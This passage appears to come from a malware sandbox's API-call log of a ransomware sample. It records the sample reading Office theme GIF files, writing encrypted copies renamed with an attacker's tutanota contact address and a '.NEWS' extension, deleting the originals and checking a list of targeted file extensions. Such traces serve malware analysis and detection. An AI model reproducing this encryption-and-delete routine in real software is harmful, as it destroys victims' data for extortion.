hFile=0x1e4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0070.466] ReadFile (in: hFile=0x1a0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.466] WriteFile (in: hFile=0x1e4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.467] SetEndOfFile (hFile=0x1e4) returned 1 [0070.467] CloseHandle (hObject=0x1e4) returned 1 [0070.467] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.467] SetEndOfFile (hFile=0x1a0) returned 1 [0070.469] CloseHandle (hObject=0x1a0) returned 1 [0070.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0070.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.470] lstrlenW (lpString=".doc") returned 4 [0070.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.470] lstrlenW (lpString=".docx") returned 5 [0070.470] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.470] lstrlenW (lpString=".pdf") returned 4 [0070.470] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.470] lstrlenW (lpString=".xls") returned 4 [0070.470] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.470] lstrlenW (lpString=".xlsx") returned 5 [0070.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.470] lstrlenW (lpString=".ppt") returned 4 [0070.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.470] lstrlenW (lpString=".zip") returned 4 [0070.470] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.470] lstrlenW (lpString=".rar") returned 4 [0070.470] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.470] lstrlenW (lpString=".bz2") returned 4 [0070.470] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.470] lstrlenW (lpString=".7z") returned 3 [0070.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.471] lstrlenW (lpString=".dbf") returned 4 [0070.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.471] lstrlenW (lpString=".1cd") returned 4 [0070.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.471] lstrlenW (lpString=".jpg") returned 4 [0070.471] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.471] lstrlenW (lpString=".doc") returned 4 [0070.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.471] lstrlenW (lpString=".docx") returned 5 [0070.471] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.471] lstrlenW (lpString=".pdf") returned 4 [0070.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.471] lstrlenW (lpString=".xls") returned 4 [0070.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.472] lstrlenW (lpString=".xlsx") returned 5 [0070.472] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.472] lstrlenW (lpString=".ppt") returned 4 [0070.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.472] lstrlenW (lpString=".zip") returned 4 [0070.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.472] lstrlenW (lpString=".rar") returned 4 [0070.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.472] lstrlenW (lpString=".bz2") returned 4 [0070.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.472] lstrlenW (lpString=".7z") returned 3 [0070.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.472] lstrlenW (lpString=".dbf") returned 4 [0070.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.472] lstrlenW (lpString=".1cd") returned 4 [0070.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0070.472] lstrlenW (lpString=".jpg") returned 4 [0070.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.473] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.473] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.473] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2722) returned 1 [0070.474] CloseHandle (hObject=0x1a0) returned 1 [0070.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0070.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.474] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.474] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0070.768] GetLastError () returned 0x0 [0070.768] ReadFile (in: hFile=0x1a0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0070.809] WriteFile (in: hFile=0x1e4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0070.810] ReadFile (in: hFile=0x1a0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.811] WriteFile (in: hFile=0x1e4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.811] SetEndOfFile (hFile=0x1e4) returned 1 [0070.811] CloseHandle (hObject=0x1e4) returned 1 [0070.811] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.811] SetEndOfFile (hFile=0x1a0) returned 1 [0070.813] CloseHandle (hObject=0x1a0) returned 1 [0070.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0070.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.814] lstrlenW (lpString=".doc") returned 4 [0070.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.814] lstrlenW (lpString=".docx") returned 5 [0070.814] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.814] lstrlenW (lpString=".pdf") returned 4 [0070.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.814] lstrlenW (lpString=".xls") returned 4 [0070.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.814] lstrlenW (lpString=".xlsx") returned 5 [0070.814] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.814] lstrlenW (lpString=".ppt") returned 4 [0070.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.814] lstrlenW (lpString=".zip") returned 4 [0070.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.814] lstrlenW (lpString=".rar") returned 4 [0070.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.815] lstrlenW (lpString=".bz2") returned 4 [0070.815] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.815] lstrlenW (lpString=".7z") returned 3 [0070.815] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.815] lstrlenW (lpString=".dbf") returned 4 [0070.815] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.815] lstrlenW (lpString=".1cd") returned 4 [0070.815] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.815] lstrlenW (lpString=".jpg") returned 4 [0070.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.815] lstrlenW (lpString=".doc") returned 4 [0070.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.815] lstrlenW (lpString=".docx") returned 5 [0070.815] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.815] lstrlenW (lpString=".pdf") returned 4 [0070.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.815] lstrlenW (lpString=".xls") returned 4 [0070.816] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.816] lstrlenW (lpString=".xlsx") returned 5 [0070.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.816] lstrlenW (lpString=".ppt") returned 4 [0070.816] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.816] lstrlenW (lpString=".zip") returned 4 [0070.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.816] lstrlenW (lpString=".rar") returned 4 [0070.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.816] lstrlenW (lpString=".bz2") returned 4 [0070.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.816] lstrlenW (lpString=".7z") returned 3 [0070.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.816] lstrlenW (lpString=".dbf") returned 4 [0070.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.816] lstrlenW (lpString=".1cd") returned 4 [0070.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0070.816] lstrlenW (lpString=".jpg") returned 4 [0070.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.817] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.817] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.927] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1363) returned 1 [0070.927] CloseHandle (hObject=0x1e8) returned 1 [0070.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0070.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.927] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.927] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.928] GetLastError () returned 0x0 [0070.928] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x553, lpOverlapped=0x0) returned 1 [0070.930] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x560, lpOverlapped=0x0) returned 1 [0070.932] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.932] SetEndOfFile (hFile=0x1a0) returned 1 [0070.933] CloseHandle (hObject=0x1a0) returned 1 [0070.933] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.933] SetEndOfFile (hFile=0x1e8) returned 1 [0070.934] CloseHandle (hObject=0x1e8) returned 1 [0070.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0070.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.934] lstrlenW (lpString=".doc") returned 4 [0070.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.935] lstrlenW (lpString=".docx") returned 5 [0070.935] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.935] lstrlenW (lpString=".pdf") returned 4 [0070.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.935] lstrlenW (lpString=".xls") returned 4 [0070.935] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.935] lstrlenW (lpString=".xlsx") returned 5 [0070.935] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.935] lstrlenW (lpString=".ppt") returned 4 [0070.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.935] lstrlenW (lpString=".zip") returned 4 [0070.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.935] lstrlenW (lpString=".rar") returned 4 [0070.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.935] lstrlenW (lpString=".bz2") returned 4 [0070.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.935] lstrlenW (lpString=".7z") returned 3 [0070.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.935] lstrlenW (lpString=".dbf") returned 4 [0070.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.935] lstrlenW (lpString=".1cd") returned 4 [0070.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.936] lstrlenW (lpString=".jpg") returned 4 [0070.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.937] lstrlenW (lpString=".doc") returned 4 [0070.937] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.937] lstrlenW (lpString=".docx") returned 5 [0070.937] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.937] lstrlenW (lpString=".pdf") returned 4 [0070.937] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString=".xls") returned 4 [0070.937] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString=".xlsx") returned 5 [0070.937] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.937] lstrlenW (lpString=".ppt") returned 4 [0070.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.937] lstrlenW (lpString=".zip") returned 4 [0070.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString=".rar") returned 4 [0070.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.937] lstrlenW (lpString=".bz2") returned 4 [0070.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.937] lstrlenW (lpString=".7z") returned 3 [0070.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.937] lstrlenW (lpString=".dbf") returned 4 [0070.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.938] lstrlenW (lpString=".1cd") returned 4 [0070.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0070.938] lstrlenW (lpString=".jpg") returned 4 [0070.938] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.938] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.938] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.938] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1293) returned 1 [0070.938] CloseHandle (hObject=0x1e8) returned 1 [0070.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0070.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.939] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.939] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.942] GetLastError () returned 0x0 [0070.942] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, 